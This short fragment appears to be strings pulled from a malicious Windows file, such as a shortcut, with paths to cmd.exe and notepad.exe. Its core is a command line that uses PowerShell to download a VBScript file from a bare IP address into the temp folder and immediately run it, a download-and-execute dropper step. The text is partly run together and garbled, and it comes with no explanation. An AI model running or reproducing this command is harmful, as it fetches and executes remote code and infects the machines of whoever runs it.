Windows
System32
cmd.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32e/c powershell.exe iwr -outf %TEMP%\Retest6.vbs http://89.197.154.116/Retest6.vbs & %TEMP%\Retest6.vbsC:\Windows\System32\notepad.exe